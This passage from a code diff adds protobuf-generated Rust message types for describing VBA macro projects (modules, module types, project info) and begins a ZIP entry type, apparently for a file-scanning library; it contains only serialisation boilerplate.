+#![allow(non_upper_case_globals)] +#![allow(trivial_casts)] +#![allow(unused_results)] +#![allow(unused_mut)] + +//! Generated file from `vba.proto` + +/// Generated files are compatible only with the same version +/// of protobuf runtime. +const _PROTOBUF_VERSION_CHECK: () = ::protobuf::VERSION_3_7_2; + +// @@protoc_insertion_point(message:vba.Vba) +#[derive(PartialEq,Clone,Default,Debug)] +pub struct Vba { + // message fields + // @@protoc_insertion_point(field:vba.Vba.has_macros) + pub has_macros: ::std::option::Option, + // @@protoc_insertion_point(field:vba.Vba.modules) + pub modules: ::std::vec::Vec, + // @@protoc_insertion_point(field:vba.Vba.project_info) + pub project_info: ::protobuf::MessageField, + // special fields + // @@protoc_insertion_point(special_field:vba.Vba.special_fields) + pub special_fields: ::protobuf::SpecialFields, +} + +impl<'a> ::std::default::Default for &'a Vba { + fn default() -> &'a Vba { + ::default_instance() + } +} + +impl Vba { + pub fn new() -> Vba { + ::std::default::Default::default() + } + + // optional bool has_macros = 1; + + pub fn has_macros(&self) -> bool { + self.has_macros.unwrap_or(false) + } + + pub fn clear_has_macros(&mut self) { + self.has_macros = ::std::option::Option::None; + } + + pub fn has_has_macros(&self) -> bool { + self.has_macros.is_some() + } + + // Param is passed by value, moved + pub fn set_has_macros(&mut self, v: bool) { + self.has_macros = ::std::option::Option::Some(v); + } + + fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(3); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "has_macros", + |m: &Vba| { &m.has_macros }, + |m: &mut Vba| { &mut m.has_macros }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "modules", + |m: &Vba| { &m.modules }, + |m: &mut Vba| { &mut m.modules }, + )); + fields.push(::protobuf::reflect::rt::v2::make_message_field_accessor::<_, vba::ProjectInfo>( + "project_info", + |m: &Vba| { &m.project_info }, + |m: &mut Vba| { &mut m.project_info }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "Vba", + fields, + oneofs, + ) + } +} + +impl ::protobuf::Message for Vba { + const NAME: &'static str = "Vba"; + + fn is_initialized(&self) -> bool { + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 8 => { + self.has_macros = ::std::option::Option::Some(is.read_bool()?); + }, + 18 => { + self.modules.push(is.read_message()?); + }, + 42 => { + ::protobuf::rt::read_singular_message_into_field(is, &mut self.project_info)?; + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if let Some(v) = self.has_macros { + my_size += 1 + 1; + } + for value in &self.modules { + let len = value.compute_size(); + my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + }; + if let Some(v) = self.project_info.as_ref() { + let len = v.compute_size(); + my_size += 1 + ::protobuf::rt::compute_raw_varint64_size(len) + len; + } + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if let Some(v) = self.has_macros { + os.write_bool(1, v)?; + } + for v in &self.modules { + ::protobuf::rt::write_message_field_with_cached_size(2, v, os)?; + }; + if let Some(v) = self.project_info.as_ref() { + ::protobuf::rt::write_message_field_with_cached_size(5, v, os)?; + } + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> Vba { + Vba::new() + } + + fn clear(&mut self) { + self.has_macros = ::std::option::Option::None; + self.modules.clear(); + self.project_info.clear(); + self.special_fields.clear(); + } + + fn default_instance() -> &'static Vba { + static instance: Vba = Vba { + has_macros: ::std::option::Option::None, + modules: ::std::vec::Vec::new(), + project_info: ::protobuf::MessageField::none(), + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } +} + +impl ::protobuf::MessageFull for Vba { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().message_by_package_relative_name("Vba").unwrap()).clone() + } +} + +impl ::std::fmt::Display for Vba { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } +} + +impl ::protobuf::reflect::ProtobufValue for Vba { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; +} + +/// Nested message and enums of message `Vba` +pub mod vba { + // @@protoc_insertion_point(message:vba.Vba.Module) + #[derive(PartialEq,Clone,Default,Debug)] + pub struct Module { + // message fields + // @@protoc_insertion_point(field:vba.Vba.Module.name) + pub name: ::std::option::Option<::std::string::String>, + // @@protoc_insertion_point(field:vba.Vba.Module.type) + pub type_: ::std::option::Option<::protobuf::EnumOrUnknown>, + // @@protoc_insertion_point(field:vba.Vba.Module.code) + pub code: ::std::option::Option<::std::string::String>, + // special fields + // @@protoc_insertion_point(special_field:vba.Vba.Module.special_fields) + pub special_fields: ::protobuf::SpecialFields, + } + + impl<'a> ::std::default::Default for &'a Module { + fn default() -> &'a Module { + ::default_instance() + } + } + + impl Module { + pub fn new() -> Module { + ::std::default::Default::default() + } + + // optional string name = 1; + + pub fn name(&self) -> &str { + match self.name.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_name(&mut self) { + self.name = ::std::option::Option::None; + } + + pub fn has_name(&self) -> bool { + self.name.is_some() + } + + // Param is passed by value, moved + pub fn set_name(&mut self, v: ::std::string::String) { + self.name = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_name(&mut self) -> &mut ::std::string::String { + if self.name.is_none() { + self.name = ::std::option::Option::Some(::std::string::String::new()); + } + self.name.as_mut().unwrap() + } + + // Take field + pub fn take_name(&mut self) -> ::std::string::String { + self.name.take().unwrap_or_else(|| ::std::string::String::new()) + } + + // optional .vba.ModuleType type = 2; + + pub fn type_(&self) -> super::ModuleType { + match self.type_ { + Some(e) => e.enum_value_or(super::ModuleType::MODULE_TYPE_STANDARD), + None => super::ModuleType::MODULE_TYPE_STANDARD, + } + } + + pub fn clear_type_(&mut self) { + self.type_ = ::std::option::Option::None; + } + + pub fn has_type(&self) -> bool { + self.type_.is_some() + } + + // Param is passed by value, moved + pub fn set_type(&mut self, v: super::ModuleType) { + self.type_ = ::std::option::Option::Some(::protobuf::EnumOrUnknown::new(v)); + } + + // optional string code = 3; + + pub fn code(&self) -> &str { + match self.code.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_code(&mut self) { + self.code = ::std::option::Option::None; + } + + pub fn has_code(&self) -> bool { + self.code.is_some() + } + + // Param is passed by value, moved + pub fn set_code(&mut self, v: ::std::string::String) { + self.code = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_code(&mut self) -> &mut ::std::string::String { + if self.code.is_none() { + self.code = ::std::option::Option::Some(::std::string::String::new()); + } + self.code.as_mut().unwrap() + } + + // Take field + pub fn take_code(&mut self) -> ::std::string::String { + self.code.take().unwrap_or_else(|| ::std::string::String::new()) + } + + pub(in super) fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(3); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "name", + |m: &Module| { &m.name }, + |m: &mut Module| { &mut m.name }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "type", + |m: &Module| { &m.type_ }, + |m: &mut Module| { &mut m.type_ }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "code", + |m: &Module| { &m.code }, + |m: &mut Module| { &mut m.code }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "Vba.Module", + fields, + oneofs, + ) + } + } + + impl ::protobuf::Message for Module { + const NAME: &'static str = "Module"; + + fn is_initialized(&self) -> bool { + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 10 => { + self.name = ::std::option::Option::Some(is.read_string()?); + }, + 16 => { + self.type_ = ::std::option::Option::Some(is.read_enum_or_unknown()?); + }, + 26 => { + self.code = ::std::option::Option::Some(is.read_string()?); + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if let Some(v) = self.name.as_ref() { + my_size += ::protobuf::rt::string_size(1, &v); + } + if let Some(v) = self.type_ { + my_size += ::protobuf::rt::int32_size(2, v.value()); + } + if let Some(v) = self.code.as_ref() { + my_size += ::protobuf::rt::string_size(3, &v); + } + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if let Some(v) = self.name.as_ref() { + os.write_string(1, v)?; + } + if let Some(v) = self.type_ { + os.write_enum(2, ::protobuf::EnumOrUnknown::value(&v))?; + } + if let Some(v) = self.code.as_ref() { + os.write_string(3, v)?; + } + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> Module { + Module::new() + } + + fn clear(&mut self) { + self.name = ::std::option::Option::None; + self.type_ = ::std::option::Option::None; + self.code = ::std::option::Option::None; + self.special_fields.clear(); + } + + fn default_instance() -> &'static Module { + static instance: Module = Module { + name: ::std::option::Option::None, + type_: ::std::option::Option::None, + code: ::std::option::Option::None, + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } + } + + impl ::protobuf::MessageFull for Module { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| super::file_descriptor().message_by_package_relative_name("Vba.Module").unwrap()).clone() + } + } + + impl ::std::fmt::Display for Module { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } + } + + impl ::protobuf::reflect::ProtobufValue for Module { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; + } + + // @@protoc_insertion_point(message:vba.Vba.ProjectInfo) + #[derive(PartialEq,Clone,Default,Debug)] + pub struct ProjectInfo { + // message fields + // @@protoc_insertion_point(field:vba.Vba.ProjectInfo.name) + pub name: ::std::option::Option<::std::string::String>, + // @@protoc_insertion_point(field:vba.Vba.ProjectInfo.version) + pub version: ::std::option::Option<::std::string::String>, + // @@protoc_insertion_point(field:vba.Vba.ProjectInfo.references) + pub references: ::std::vec::Vec<::std::string::String>, + // @@protoc_insertion_point(field:vba.Vba.ProjectInfo.module_count) + pub module_count: ::std::option::Option, + // special fields + // @@protoc_insertion_point(special_field:vba.Vba.ProjectInfo.special_fields) + pub special_fields: ::protobuf::SpecialFields, + } + + impl<'a> ::std::default::Default for &'a ProjectInfo { + fn default() -> &'a ProjectInfo { + ::default_instance() + } + } + + impl ProjectInfo { + pub fn new() -> ProjectInfo { + ::std::default::Default::default() + } + + // optional string name = 1; + + pub fn name(&self) -> &str { + match self.name.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_name(&mut self) { + self.name = ::std::option::Option::None; + } + + pub fn has_name(&self) -> bool { + self.name.is_some() + } + + // Param is passed by value, moved + pub fn set_name(&mut self, v: ::std::string::String) { + self.name = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_name(&mut self) -> &mut ::std::string::String { + if self.name.is_none() { + self.name = ::std::option::Option::Some(::std::string::String::new()); + } + self.name.as_mut().unwrap() + } + + // Take field + pub fn take_name(&mut self) -> ::std::string::String { + self.name.take().unwrap_or_else(|| ::std::string::String::new()) + } + + // optional string version = 2; + + pub fn version(&self) -> &str { + match self.version.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_version(&mut self) { + self.version = ::std::option::Option::None; + } + + pub fn has_version(&self) -> bool { + self.version.is_some() + } + + // Param is passed by value, moved + pub fn set_version(&mut self, v: ::std::string::String) { + self.version = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_version(&mut self) -> &mut ::std::string::String { + if self.version.is_none() { + self.version = ::std::option::Option::Some(::std::string::String::new()); + } + self.version.as_mut().unwrap() + } + + // Take field + pub fn take_version(&mut self) -> ::std::string::String { + self.version.take().unwrap_or_else(|| ::std::string::String::new()) + } + + // optional int32 module_count = 4; + + pub fn module_count(&self) -> i32 { + self.module_count.unwrap_or(0) + } + + pub fn clear_module_count(&mut self) { + self.module_count = ::std::option::Option::None; + } + + pub fn has_module_count(&self) -> bool { + self.module_count.is_some() + } + + // Param is passed by value, moved + pub fn set_module_count(&mut self, v: i32) { + self.module_count = ::std::option::Option::Some(v); + } + + pub(in super) fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(4); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "name", + |m: &ProjectInfo| { &m.name }, + |m: &mut ProjectInfo| { &mut m.name }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "version", + |m: &ProjectInfo| { &m.version }, + |m: &mut ProjectInfo| { &mut m.version }, + )); + fields.push(::protobuf::reflect::rt::v2::make_vec_simpler_accessor::<_, _>( + "references", + |m: &ProjectInfo| { &m.references }, + |m: &mut ProjectInfo| { &mut m.references }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "module_count", + |m: &ProjectInfo| { &m.module_count }, + |m: &mut ProjectInfo| { &mut m.module_count }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "Vba.ProjectInfo", + fields, + oneofs, + ) + } + } + + impl ::protobuf::Message for ProjectInfo { + const NAME: &'static str = "ProjectInfo"; + + fn is_initialized(&self) -> bool { + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 10 => { + self.name = ::std::option::Option::Some(is.read_string()?); + }, + 18 => { + self.version = ::std::option::Option::Some(is.read_string()?); + }, + 26 => { + self.references.push(is.read_string()?); + }, + 32 => { + self.module_count = ::std::option::Option::Some(is.read_int32()?); + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if let Some(v) = self.name.as_ref() { + my_size += ::protobuf::rt::string_size(1, &v); + } + if let Some(v) = self.version.as_ref() { + my_size += ::protobuf::rt::string_size(2, &v); + } + for value in &self.references { + my_size += ::protobuf::rt::string_size(3, &value); + }; + if let Some(v) = self.module_count { + my_size += ::protobuf::rt::int32_size(4, v); + } + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + self.special_fields.cached_size().set(my_size as u32); + my_size + } + + fn write_to_with_cached_sizes(&self, os: &mut ::protobuf::CodedOutputStream<'_>) -> ::protobuf::Result<()> { + if let Some(v) = self.name.as_ref() { + os.write_string(1, v)?; + } + if let Some(v) = self.version.as_ref() { + os.write_string(2, v)?; + } + for v in &self.references { + os.write_string(3, &v)?; + }; + if let Some(v) = self.module_count { + os.write_int32(4, v)?; + } + os.write_unknown_fields(self.special_fields.unknown_fields())?; + ::std::result::Result::Ok(()) + } + + fn special_fields(&self) -> &::protobuf::SpecialFields { + &self.special_fields + } + + fn mut_special_fields(&mut self) -> &mut ::protobuf::SpecialFields { + &mut self.special_fields + } + + fn new() -> ProjectInfo { + ProjectInfo::new() + } + + fn clear(&mut self) { + self.name = ::std::option::Option::None; + self.version = ::std::option::Option::None; + self.references.clear(); + self.module_count = ::std::option::Option::None; + self.special_fields.clear(); + } + + fn default_instance() -> &'static ProjectInfo { + static instance: ProjectInfo = ProjectInfo { + name: ::std::option::Option::None, + version: ::std::option::Option::None, + references: ::std::vec::Vec::new(), + module_count: ::std::option::Option::None, + special_fields: ::protobuf::SpecialFields::new(), + }; + &instance + } + } + + impl ::protobuf::MessageFull for ProjectInfo { + fn descriptor() -> ::protobuf::reflect::MessageDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::MessageDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| super::file_descriptor().message_by_package_relative_name("Vba.ProjectInfo").unwrap()).clone() + } + } + + impl ::std::fmt::Display for ProjectInfo { + fn fmt(&self, f: &mut ::std::fmt::Formatter<'_>) -> ::std::fmt::Result { + ::protobuf::text_format::fmt(self, f) + } + } + + impl ::protobuf::reflect::ProtobufValue for ProjectInfo { + type RuntimeType = ::protobuf::reflect::rt::RuntimeTypeMessage; + } +} + +#[derive(Clone,Copy,PartialEq,Eq,Debug,Hash)] +// @@protoc_insertion_point(enum:vba.ModuleType) +pub enum ModuleType { + // @@protoc_insertion_point(enum_value:vba.ModuleType.MODULE_TYPE_STANDARD) + MODULE_TYPE_STANDARD = 1, + // @@protoc_insertion_point(enum_value:vba.ModuleType.MODULE_TYPE_CLASS) + MODULE_TYPE_CLASS = 2, + // @@protoc_insertion_point(enum_value:vba.ModuleType.MODULE_TYPE_UNKNOWN) + MODULE_TYPE_UNKNOWN = 3, +} + +impl ::protobuf::Enum for ModuleType { + const NAME: &'static str = "ModuleType"; + + fn value(&self) -> i32 { + *self as i32 + } + + fn from_i32(value: i32) -> ::std::option::Option { + match value { + 1 => ::std::option::Option::Some(ModuleType::MODULE_TYPE_STANDARD), + 2 => ::std::option::Option::Some(ModuleType::MODULE_TYPE_CLASS), + 3 => ::std::option::Option::Some(ModuleType::MODULE_TYPE_UNKNOWN), + _ => ::std::option::Option::None + } + } + + fn from_str(str: &str) -> ::std::option::Option { + match str { + "MODULE_TYPE_STANDARD" => ::std::option::Option::Some(ModuleType::MODULE_TYPE_STANDARD), + "MODULE_TYPE_CLASS" => ::std::option::Option::Some(ModuleType::MODULE_TYPE_CLASS), + "MODULE_TYPE_UNKNOWN" => ::std::option::Option::Some(ModuleType::MODULE_TYPE_UNKNOWN), + _ => ::std::option::Option::None + } + } + + const VALUES: &'static [ModuleType] = &[ + ModuleType::MODULE_TYPE_STANDARD, + ModuleType::MODULE_TYPE_CLASS, + ModuleType::MODULE_TYPE_UNKNOWN, + ]; +} + +impl ::protobuf::EnumFull for ModuleType { + fn enum_descriptor() -> ::protobuf::reflect::EnumDescriptor { + static descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::EnumDescriptor> = ::protobuf::rt::Lazy::new(); + descriptor.get(|| file_descriptor().enum_by_package_relative_name("ModuleType").unwrap()).clone() + } + + fn descriptor(&self) -> ::protobuf::reflect::EnumValueDescriptor { + let index = match self { + ModuleType::MODULE_TYPE_STANDARD => 0, + ModuleType::MODULE_TYPE_CLASS => 1, + ModuleType::MODULE_TYPE_UNKNOWN => 2, + }; + Self::enum_descriptor().value_by_index(index) + } +} + +// Note, `Default` is implemented although default value is not 0 +impl ::std::default::Default for ModuleType { + fn default() -> Self { + ModuleType::MODULE_TYPE_STANDARD + } +} + +impl ModuleType { + fn generated_enum_descriptor_data() -> ::protobuf::reflect::GeneratedEnumDescriptorData { + ::protobuf::reflect::GeneratedEnumDescriptorData::new::("ModuleType") + } +} + +static file_descriptor_proto_data: &'static [u8] = b"\ + \n\tvba.proto\x12\x03vba\x1a\nyara.proto\"\xdf\x02\n\x03Vba\x12\x1d\n\nh\ + as_macros\x18\x01\x20\x01(\x08R\thasMacros\x12)\n\x07modules\x18\x02\x20\ + \x03(\x0b2\x0f.vba.Vba.ModuleR\x07modules\x127\n\x0cproject_info\x18\x05\ + \x20\x01(\x0b2\x14.vba.Vba.ProjectInfoR\x0bprojectInfo\x1aU\n\x06Module\ + \x12\x12\n\x04name\x18\x01\x20\x01(\tR\x04name\x12#\n\x04type\x18\x02\ + \x20\x01(\x0e2\x0f.vba.ModuleTypeR\x04type\x12\x12\n\x04code\x18\x03\x20\ + \x01(\tR\x04code\x1a~\n\x0bProjectInfo\x12\x12\n\x04name\x18\x01\x20\x01\ + (\tR\x04name\x12\x18\n\x07version\x18\x02\x20\x01(\tR\x07version\x12\x1e\ + \n\nreferences\x18\x03\x20\x03(\tR\nreferences\x12!\n\x0cmodule_count\ + \x18\x04\x20\x01(\x05R\x0bmoduleCount*^\n\nModuleType\x12\x18\n\x14MODUL\ + E_TYPE_STANDARD\x10\x01\x12\x15\n\x11MODULE_TYPE_CLASS\x10\x02\x12\x17\n\ + \x13MODULE_TYPE_UNKNOWN\x10\x03\x1a\x06\x92\x93\x19\x02\x10\x01B\x1e\xfa\ + \x92\x19\x1a\n\x03vba\x12\x07vba.Vba\x1a\nvba-moduleb\x06proto2\ +"; + +/// `FileDescriptorProto` object which was a source for this generated file +fn file_descriptor_proto() -> &'static ::protobuf::descriptor::FileDescriptorProto { + static file_descriptor_proto_lazy: ::protobuf::rt::Lazy<::protobuf::descriptor::FileDescriptorProto> = ::protobuf::rt::Lazy::new(); + file_descriptor_proto_lazy.get(|| { + ::protobuf::Message::parse_from_bytes(file_descriptor_proto_data).unwrap() + }) +} + +/// `FileDescriptor` object which allows dynamic access to files +pub fn file_descriptor() -> &'static ::protobuf::reflect::FileDescriptor { + static generated_file_descriptor_lazy: ::protobuf::rt::Lazy<::protobuf::reflect::GeneratedFileDescriptor> = ::protobuf::rt::Lazy::new(); + static file_descriptor: ::protobuf::rt::Lazy<::protobuf::reflect::FileDescriptor> = ::protobuf::rt::Lazy::new(); + file_descriptor.get(|| { + let generated_file_descriptor = generated_file_descriptor_lazy.get(|| { + let mut deps = ::std::vec::Vec::with_capacity(1); + deps.push(super::yara::file_descriptor().clone()); + let mut messages = ::std::vec::Vec::with_capacity(3); + messages.push(Vba::generated_message_descriptor_data()); + messages.push(vba::Module::generated_message_descriptor_data()); + messages.push(vba::ProjectInfo::generated_message_descriptor_data()); + let mut enums = ::std::vec::Vec::with_capacity(1); + enums.push(ModuleType::generated_enum_descriptor_data()); + ::protobuf::reflect::GeneratedFileDescriptor::new_generated( + file_descriptor_proto(), + deps, + messages, + enums, + ) + }); + ::protobuf::reflect::FileDescriptor::new_generated_2(generated_file_descriptor) + }) +} diff --git a/lib/src/modules/protos/generated/zip.rs b/lib/src/modules/protos/generated/zip.rs new file mode 100644 index 00000000..ec22e0e0 --- /dev/null +++ b/lib/src/modules/protos/generated/zip.rs @@ -0,0 +1,649 @@ +// This file is generated by rust-protobuf 3.7.2. Do not edit +// .proto file is parsed by pure +// @generated + +// https://github.com/rust-lang/rust-clippy/issues/702 +#![allow(unknown_lints)] +#![allow(clippy::all)] + +#![allow(unused_attributes)] +#![cfg_attr(rustfmt, rustfmt::skip)] + +#![allow(dead_code)] +#![allow(missing_docs)] +#![allow(non_camel_case_types)] +#![allow(non_snake_case)] +#![allow(non_upper_case_globals)] +#![allow(trivial_casts)] +#![allow(unused_results)] +#![allow(unused_mut)] + +//! Generated file from `zip.proto` + +/// Generated files are compatible only with the same version +/// of protobuf runtime. +const _PROTOBUF_VERSION_CHECK: () = ::protobuf::VERSION_3_7_2; + +// @@protoc_insertion_point(message:zip.Entry) +#[derive(PartialEq,Clone,Default,Debug)] +pub struct Entry { + // message fields + // @@protoc_insertion_point(field:zip.Entry.file_path) + pub file_path: ::std::option::Option<::std::string::String>, + // @@protoc_insertion_point(field:zip.Entry.compression) + pub compression: ::std::option::Option<::protobuf::EnumOrUnknown>, + // @@protoc_insertion_point(field:zip.Entry.uncompressed_size) + pub uncompressed_size: ::std::option::Option, + // @@protoc_insertion_point(field:zip.Entry.compressed_size) + pub compressed_size: ::std::option::Option, + // special fields + // @@protoc_insertion_point(special_field:zip.Entry.special_fields) + pub special_fields: ::protobuf::SpecialFields, +} + +impl<'a> ::std::default::Default for &'a Entry { + fn default() -> &'a Entry { + ::default_instance() + } +} + +impl Entry { + pub fn new() -> Entry { + ::std::default::Default::default() + } + + // optional string file_path = 1; + + pub fn file_path(&self) -> &str { + match self.file_path.as_ref() { + Some(v) => v, + None => "", + } + } + + pub fn clear_file_path(&mut self) { + self.file_path = ::std::option::Option::None; + } + + pub fn has_file_path(&self) -> bool { + self.file_path.is_some() + } + + // Param is passed by value, moved + pub fn set_file_path(&mut self, v: ::std::string::String) { + self.file_path = ::std::option::Option::Some(v); + } + + // Mutable pointer to the field. + // If field is not initialized, it is initialized with default value first. + pub fn mut_file_path(&mut self) -> &mut ::std::string::String { + if self.file_path.is_none() { + self.file_path = ::std::option::Option::Some(::std::string::String::new()); + } + self.file_path.as_mut().unwrap() + } + + // Take field + pub fn take_file_path(&mut self) -> ::std::string::String { + self.file_path.take().unwrap_or_else(|| ::std::string::String::new()) + } + + // optional .zip.Compression compression = 2; + + pub fn compression(&self) -> Compression { + match self.compression { + Some(e) => e.enum_value_or(Compression::STORED), + None => Compression::STORED, + } + } + + pub fn clear_compression(&mut self) { + self.compression = ::std::option::Option::None; + } + + pub fn has_compression(&self) -> bool { + self.compression.is_some() + } + + // Param is passed by value, moved + pub fn set_compression(&mut self, v: Compression) { + self.compression = ::std::option::Option::Some(::protobuf::EnumOrUnknown::new(v)); + } + + // optional uint64 uncompressed_size = 3; + + pub fn uncompressed_size(&self) -> u64 { + self.uncompressed_size.unwrap_or(0) + } + + pub fn clear_uncompressed_size(&mut self) { + self.uncompressed_size = ::std::option::Option::None; + } + + pub fn has_uncompressed_size(&self) -> bool { + self.uncompressed_size.is_some() + } + + // Param is passed by value, moved + pub fn set_uncompressed_size(&mut self, v: u64) { + self.uncompressed_size = ::std::option::Option::Some(v); + } + + // optional uint64 compressed_size = 4; + + pub fn compressed_size(&self) -> u64 { + self.compressed_size.unwrap_or(0) + } + + pub fn clear_compressed_size(&mut self) { + self.compressed_size = ::std::option::Option::None; + } + + pub fn has_compressed_size(&self) -> bool { + self.compressed_size.is_some() + } + + // Param is passed by value, moved + pub fn set_compressed_size(&mut self, v: u64) { + self.compressed_size = ::std::option::Option::Some(v); + } + + fn generated_message_descriptor_data() -> ::protobuf::reflect::GeneratedMessageDescriptorData { + let mut fields = ::std::vec::Vec::with_capacity(4); + let mut oneofs = ::std::vec::Vec::with_capacity(0); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "file_path", + |m: &Entry| { &m.file_path }, + |m: &mut Entry| { &mut m.file_path }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "compression", + |m: &Entry| { &m.compression }, + |m: &mut Entry| { &mut m.compression }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "uncompressed_size", + |m: &Entry| { &m.uncompressed_size }, + |m: &mut Entry| { &mut m.uncompressed_size }, + )); + fields.push(::protobuf::reflect::rt::v2::make_option_accessor::<_, _>( + "compressed_size", + |m: &Entry| { &m.compressed_size }, + |m: &mut Entry| { &mut m.compressed_size }, + )); + ::protobuf::reflect::GeneratedMessageDescriptorData::new_2::( + "Entry", + fields, + oneofs, + ) + } +} + +impl ::protobuf::Message for Entry { + const NAME: &'static str = "Entry"; + + fn is_initialized(&self) -> bool { + true + } + + fn merge_from(&mut self, is: &mut ::protobuf::CodedInputStream<'_>) -> ::protobuf::Result<()> { + while let Some(tag) = is.read_raw_tag_or_eof()? { + match tag { + 10 => { + self.file_path = ::std::option::Option::Some(is.read_string()?); + }, + 16 => { + self.compression = ::std::option::Option::Some(is.read_enum_or_unknown()?); + }, + 24 => { + self.uncompressed_size = ::std::option::Option::Some(is.read_uint64()?); + }, + 32 => { + self.compressed_size = ::std::option::Option::Some(is.read_uint64()?); + }, + tag => { + ::protobuf::rt::read_unknown_or_skip_group(tag, is, self.special_fields.mut_unknown_fields())?; + }, + }; + } + ::std::result::Result::Ok(()) + } + + // Compute sizes of nested messages + #[allow(unused_variables)] + fn compute_size(&self) -> u64 { + let mut my_size = 0; + if let Some(v) = self.file_path.as_ref() { + my_size += ::protobuf::rt::string_size(1, &v); + } + if let Some(v) = self.compression { + my_size += ::protobuf::rt::int32_size(2, v.value()); + } + if let Some(v) = self.uncompressed_size { + my_size += ::protobuf::rt::uint64_size(3, v); + } + if let Some(v) = self.compressed_size { + my_size += ::protobuf::rt::uint64_size(4, v); + } + my_size += ::protobuf::rt::unknown_fields_size(self.special_fields.unknown_fields()); + 